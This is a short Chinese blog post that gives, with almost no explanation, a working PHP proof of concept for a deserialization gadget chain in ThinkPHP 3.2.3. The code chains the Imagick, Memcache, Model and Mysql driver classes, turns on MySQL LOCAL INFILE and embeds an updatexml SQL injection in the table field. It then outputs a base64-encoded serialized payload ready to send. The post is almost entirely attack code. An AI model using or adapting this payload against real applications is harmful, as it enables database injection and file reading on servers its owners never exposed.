thinkphp3.2.3版本反序列化利用链
文章最先发自米斯特
就不分析了,存在利用限制
利用方式和我之前的thinkphp5
的玩数据库的利用链很相似
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?php namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true ); protected $config = array( "debug" => 1, "database" => "thinkphp3", "hostname" => "127.0.0.1", "hostport" => "3306", "charset" => "utf8", "username" => "root", "password" => "" ); } }
namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img;
public function __construct(){ $this->img = new Memcache(); } } }
namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle;
public function __construct(){ $this->handle = new Model(); } } }
namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null;
public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "mysql.user where 1=updatexml(1,user(),1)#", "where" => "1=1" ); } } }
namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }
|